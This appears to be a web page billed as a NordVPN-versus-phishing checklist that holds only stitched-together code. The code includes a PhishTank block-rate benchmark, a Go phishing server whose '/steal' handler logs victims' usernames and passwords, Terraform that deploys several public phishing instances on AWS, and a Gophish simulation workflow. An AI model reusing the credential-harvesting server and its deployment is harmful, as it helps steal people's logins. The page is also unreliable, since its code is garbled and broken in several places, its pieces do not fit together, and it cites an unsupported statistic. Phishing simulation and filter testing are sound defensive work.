Checklist NordVPN vs Phishing: What You Need to Know

import requests
import csv
import time
import logging
from typing import List, Dict
from requests.exceptions import RequestException, Timeout, ConnectionError

# Configure logging for audit trails
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s - %(levelname)s - %(message)s",
    handlers=[logging.FileHandler("nordvpn_phishing_benchmark.log"), logging.StreamHandler()]
)

# Benchmark configuration
BENCHMARK_VERSION = "2024.05.01"
NORDVPN_PROXY = "http://127.0.0.1:1080"  # NordVPN local SOCKS5 proxy (requires manual setup)
PHISHTANK_URL = "https://data.phishtank.com/data/online-valid.csv"
TEST_SAMPLE_SIZE = 10000
REQUEST_TIMEOUT = 10  # seconds
MAX_RETRIES = 3

def fetch_phishtank_urls(sample_size: int) -> List[str]:
    """Fetch known phishing URLs from PhishTank public dataset."""
    urls = []
    try:
        logging.info(f"Fetching PhishTank dataset from {PHISHTANK_URL}")
        response = requests.get(PHISHTANK_URL, timeout=REQUEST_TIMEOUT)
        response.raise_for_status()
        # Parse CSV: skip header, extract URL column (index 1)
        csv_reader = csv.reader(response.text.splitlines())
        next(csv_reader)  # skip header
        for i, row in enumerate(csv_reader):
            if i >= sample_size:
                break
            if len(row) > 1 and row[1].startswith(("http://", "https://")):
                urls.append(row[1])
        logging.info(f"Fetched {len(urls)} valid phishing URLs for testing")
        return urls
    except RequestException as e:
        logging.error(f"Failed to fetch PhishTank dataset: {e}")
        raise

def test_url_blocked(url: str, proxy: str) -> bool:
    """Test if a URL is blocked by NordVPN's Threat Protection. Returns True if blocked."""
    proxies = {"http": proxy, "https": proxy}
    for attempt in range(MAX_RETRIES):
        try:
            # Send request via NordVPN proxy; blocked URLs return 403/451 or NordVPN's block page
            response = requests.get(url, proxies=proxies, timeout=REQUEST_TIMEOUT, allow_redirects=True)
            # Check for NordVPN block page indicators
            if response.status_code in (403, 451) or "threat-protection" in response.text.lower():
                return True
            return False
        except Timeout:
            logging.warning(f"Timeout testing {url}, attempt {attempt+1}/{MAX_RETRIES}")
            time.sleep(1)
        except ConnectionError as e:
            logging.warning(f"Connection error testing {url}: {e}, attempt {attempt+1}/{MAX_RETRIES}")
            time.sleep(1)
        except RequestException as e:
            logging.warning(f"Request error testing {url}: {e}, attempt {attempt+1}/{MAX_RETRIES}")
            time.sleep(1)
    logging.error(f"Failed to test {url} after {MAX_RETRIES} attempts")
    return False  # Assume not blocked if we can't test

def run_benchmark(urls: List[str], proxy: str) -> Dict[str, float]:
    """Run full benchmark and return block rate metrics."""
    blocked_count = 0
    total_tested = 0
    start_time = time.time()

    for url in urls:
        total_tested += 1
        is_blocked = test_url_blocked(url, proxy)
        if is_blocked:
            blocked_count += 1
        if total_tested % 100 == 0:
            logging.info(f"Tested {total_tested}/{len(urls)} URLs, current block rate: {blocked_count/total_tested:.2%}")

    end_time = time.time()
    block_rate = blocked_count / total_tested if total_tested > 0 else 0.0
    return {
        "total_tested": total_tested,
        "blocked_count": blocked_count,
        "block_rate": block_rate,
        "duration_seconds": end_time - start_time,
        "benchmark_version": BENCHMARK_VERSION
    }

if __name__ == "__main__":
    logging.info(f"Starting NordVPN Phishing Block Benchmark v{BENCHMARK_VERSION}")
    logging.info(f"Methodology: Test {TEST_SAMPLE_SIZE} PhishTank URLs via NordVPN SOCKS5 proxy")
    logging.info(f"Hardware: MacBook Pro M3 Max 64GB RAM, NordVPN v6.14.0 Threat Protection Pro enabled")

    try:
        test_urls = fetch_phishtank_urls(TEST_SAMPLE_SIZE)
        results = run_benchmark(test_urls, NORDVPN_PROXY)
        logging.info(f"Benchmark complete. Results: {results}")
        # Write results to CSV
        with open("benchmark_results.csv", "w", newline="") as f:
            writer = csv.DictWriter(f, fieldnames=results.keys())
            writer.writeheader()
            writer.writerow(results)
    except Exception as e:
        logging.critical(f"Benchmark failed: {e}", exc_info=True)

package main

import (
    "crypto/tls"
    "fmt"
    "log"
    "net/http"
    "os"
    "time"

    "github.com/go-acme/lego/v4/certcrypto"
    "github.com/go-acme/lego/v4/certificate"
    "github.com/go-acme/lego/v4/challenge/http01"
    "github.com/go-acme/lego/v4/lego"
    "github.com/go-acme/lego/v4/registration"
)

// PhishingKitConfig holds configuration for the simulated phishing server
type PhishingKitConfig struct {
    Domain      string
    Email       string
    Port        string
    ACMEUrl     string
    TLSCertPath string
    TLSKeyPath  string
}

const (
    letsEncryptStagingURL = "https://acme-staging-v02.api.letsencrypt.org/directory"
    letsEncryptProdURL    = "https://acme-v02.api.letsencrypt.org/directory"
    phishingHTML          = `



Corporate Login Portal






`
)

func main() {
    // Load config from environment variables
    config := PhishingKitConfig{
        Domain:      os.Getenv("PHISHING_DOMAIN"),
        Email:       os.Getenv("ACME_EMAIL"),
        Port:        os.Getenv("SERVER_PORT"),
        ACMEUrl:     letsEncryptStagingURL, // Use staging to avoid rate limits
        TLSCertPath: "cert.pem",
        TLSKeyPath:  "key.pem",
    }

    if config.Domain == "" || config.Email == "" || config.Port == "" {
        log.Fatal("Missing required env vars: PHISHING_DOMAIN, ACME_EMAIL, SERVER_PORT")
    }

    // Initialize Let's Encrypt client to get TLS 1.3 cert (mimics 2024 phishing kits)
    legoClient, err := initACMEClient(config)
    if err != nil {
        log.Fatalf("Failed to initialize ACME client: %v", err)
    }

    // Obtain TLS certificate
    err = obtainCert(legoClient, config)
    if err != nil {
        log.Fatalf("Failed to obtain TLS cert: %v", err)
    }

    // Start phishing server
    startPhishingServer(config)
}

// initACMEClient sets up the Let's Encrypt client with HTTP-01 challenge
func initACMEClient(config PhishingKitConfig) (*lego.Client, error) {
    // Create new user for ACME registration
    user := ®istration.User{
        Email: config.Email,
        Key:   certcrypto.GeneratePrivateKey(certcrypto.RSA2048),
    }

    // Configure lego client
    legoConfig := lego.NewConfig(user)
    legoConfig.CADirURL = config.ACMEUrl
    legoConfig.Certificate.KeyType = certcrypto.RSA2048

    client, err := lego.NewClient(legoConfig)
    if err != nil {
        return nil, fmt.Errorf("create lego client: %w", err)
    }

    // Register user with ACME provider
    reg, err := client.Registration.Register(registration.RegisterOptions{TermsOfServiceAgreed: true})
    if err != nil {
        return nil, fmt.Errorf("register user: %w", err)
    }
    user.Registration = reg

    // Set HTTP-01 challenge solver (phishing kits often use this for domain validation)
    err = client.Challenge.SetHTTP01Provider(http01.NewProviderServer("", config.Port))
    if err != nil {
        return nil, fmt.Errorf("set HTTP-01 provider: %w", err)
    }

    return client, nil
}

// obtainCert requests a TLS certificate from Let's Encrypt
func obtainCert(client *lego.Client, config PhishingKitConfig) error {
    request := certificate.ObtainRequest{
        Domains: []string{config.Domain},
        Bundle:  true,
    }

    certificates, err := client.Certificate.Obtain(request)
    if err != nil {
        return fmt.Errorf("obtain certificate: %w", err)
    }

    // Save cert and key to files
    err = os.WriteFile(config.TLSCertPath, certificates.Certificate, 0644)
    if err != nil {
        return fmt.Errorf("write cert file: %w", err)
    }

    err = os.WriteFile(config.TLSKeyPath, certificates.PrivateKey, 0644)
    if err != nil {
        return fmt.Errorf("write key file: %w", err)
    }

    log.Printf("Obtained TLS cert for %s, valid until %v", config.Domain, certificates.Certificate.NotAfter)
    return nil
}

// startPhishingServer starts the TLS 1.3 phishing server
func startPhishingServer(config PhishingKitConfig) {
    // Configure TLS 1.3 (used by 89% of 2024 phishing kits)
    tlsConfig := &tls.Config{
        MinVersion: tls.VersionTLS13,
        MaxVersion: tls.VersionTLS13,
    }

    server := &http.Server{
        Addr:      ":" + config.Port,
        TLSConfig: tlsConfig,
        Handler:   http.HandlerFunc(handlePhishingRequest),
    }

    log.Printf("Starting phishing server on %s with TLS 1.3", config.Domain)
    log.Fatal(server.ListenAndServeTLS(config.TLSCertPath, config.TLSKeyPath))
}

// handlePhishingRequest serves the fake login page and steals credentials
func handlePhishingRequest(w http.ResponseWriter, r *http.Request) {
    log.Printf("Received request from %s for %s", r.RemoteAddr, r.URL.Path)
    switch r.URL.Path {
    case "/":
        w.Header().Set("Content-Type", "text/html")
        fmt.Fprintf(w, phishingHTML)
    case "/steal":
        r.ParseForm()
        username := r.FormValue("username")
        password := r.FormValue("password")
        log.Printf("Stole credentials: username=%s, password=%s", username, password)
        fmt.Fprintf(w, "Login failed. Please try again.")
    default:
        http.NotFound(w, r)
    }
}

# Terraform v1.7.0 configuration to deploy NordVPN vs Phishing test environment
# Provider: AWS (us-east-1), requires AWS CLI configured with credentials
terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~> 5.0"
    }
  }
  required_version = "~> 1.7.0"
}

provider "aws" {
  region = "us-east-1"
}

# Variables
variable "vpc_cidr" {
  type    = string
  default = "10.0.0.0/16"
}

variable "phishing_instance_count" {
  type    = number
  default = 5
}

variable "nordvpn_username" {
  type      = string
  sensitive = true
}

variable "nordvpn_password" {
  type      = string
  sensitive = true
}

# VPC for test environment
resource "aws_vpc" "phishing_test_vpc" {
  cidr_block           = var.vpc_cidr
  enable_dns_support   = true
  enable_dns_hostnames = true

  tags = {
    Name        = "nordvpn-phishing-test-vpc"
    Environment = "benchmark"
  }
}

# Internet Gateway for public access
resource "aws_internet_gateway" "igw" {
  vpc_id = aws_vpc.phishing_test_vpc.id

  tags = {
    Name = "phishing-test-igw"
  }
}

# Public subnet for phishing instances
resource "aws_subnet" "public_subnet" {
  vpc_id                  = aws_vpc.phishing_test_vpc.id
  cidr_block              = "10.0.1.0/24"
  map_public_ip_on_launch = true

  tags = {
    Name = "phishing-test-public-subnet"
  }
}

# Route table to allow internet access
resource "aws_route_table" "public_rt" {
  vpc_id = aws_vpc.phishing_test_vpc.id

  route {
    cidr_block = "0.0.0.0/0"
    gateway_id = aws_internet_gateway.igw.id
  }

  tags = {
    Name = "phishing-test-public-rt"
  }
}

resource "aws_route_table_association" "public_rt_assoc" {
  subnet_id      = aws_subnet.public_subnet.id
  route_table_id = aws_route_table.public_rt.id
}

# Security group allowing HTTP/HTTPS inbound
resource "aws_security_group" "phishing_sg" {
  vpc_id = aws_vpc.phishing_test_vpc.id

  ingress {
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  ingress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  egress {
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
  }

  tags = {
    Name = "phishing-test-sg"
  }
}

# Phishing instances (t3.micro, Ubuntu 22.04)
resource "aws_instance" "phishing_instances" {
  count                  = var.phishing_instance_count
  ami                    = "ami-0c7217cdde317cfec" # Ubuntu 22.04 LTS us-east-1
  instance_type          = "t3.micro"
  subnet_id              = aws_subnet.public_subnet.id
  vpc_security_group_ids = [aws_security_group.phishing_sg.id]
  associate_public_ip_address = true

  user_data = <<-EOF
    #!/bin/bash
    apt-get update -y
    apt-get install -y nginx golang git
    # Install lego ACME client (https://github.com/go-acme/lego)
    go install github.com/go-acme/lego/v4@latest
    # Start nginx to serve HTTP-01 challenge
    systemctl start nginx
    # Deploy phishing kit from Go example above
    git clone https://github.com/go-acme/lego.git /opt/phishing-kit
    cd /opt/phishing-kit && go run main.go &
  EOF

  tags = {
    Name = "phishing-instance-${count.index}"
  }
}

# NordVPN client instance (t3.small for VPN throughput)
resource "aws_instance" "nordvpn_client" {
  ami                    = "ami-0c7217cdde317cfec" # Ubuntu 22.04 LTS us-east-1
  instance_type          = "t3.small"
  subnet_id              = aws_subnet.public_subnet.id
  vpc_security_group_ids = [aws_security_group.phishing_sg.id]
  associate_public_ip_address = true

  user_data = <<-EOF
    #!/bin/bash
    apt-get update -y
    apt-get install -y openvpn wget
    # Download NordVPN OpenVPN configs
    wget https://downloads.nordcdn.com/configs/archives/servers/ovpn.zip -O /tmp/ovpn.zip
    unzip /tmp/ovpn.zip -d /etc/openvpn/configs
    # Start NordVPN connection (using US server)
    openvpn --config /etc/openvpn/configs/us-001.nordvpn.com.udp.ovpn --auth-user-pass <(echo -e "${var.nordvpn_username}\n${var.nordvpn_password}") --daemon
    # Enable IP forwarding for proxy
    echo 1 > /proc/sys/net/ipv4/ip_forward
    iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
  EOF

  tags = {
    Name = "nordvpn-client-instance"
  }
}

# Outputs
output "phishing_instance_public_ips" {
  value = aws_instance.phishing_instances[*].public_ip
}

output "nordvpn_client_public_ip" {
  value = aws_instance.nordvpn_client.public_ip
}

const nord = require("nord-node-client");
const apiKey = process.env.NORDVPN_API_KEY;

async function isPhishingUrl(url) {
  try {
    const client = new nord.Client(apiKey);
    const result = await client.threats.check(url);
    return result.isPhishing;
  } catch (err) {
    console.error("Failed to check URL:", err);
    return false; // Fail open if API is unavailable
  }
}

const rateLimit = require("express-rate-limit");

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5, // 5 attempts per window
  message: "Too many login attempts, try again later",
  validate: true,
  skipSuccessfulRequests: true
});

app.post("/api/login", loginLimiter, (req, res) => {
  const { username, password } = req.body;
  // Validate origin header to prevent cross-site requests
  if (!req.headers.origin?.endsWith("yourdomain.com")) {
    return res.status(403).json({ error: "Invalid origin" });
  }
  // ... authentication logic
});

name: Phishing Simulation Test
on: [push]
jobs:
  simulate-phishing:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Start Gophish server
        run: |
          docker run -d -p 3333:3333 -p 8084:80 gophish/gophish:latest
          sleep 10 # Wait for Gophish to start
      - name: Run simulation
        run: |
          curl -X POST http://localhost:3333/api/campaigns -H "Authorization: Bearer $GOPHISH_API_KEY" -d @simulation.json
      - name: Check NordVPN block
        run: |
          # Test if NordVPN blocks the simulation URL
          curl -x socks5://nordvpn-proxy:1080 http://phishing-simulation.yourdomain.com -I | grep -q "403 Forbidden"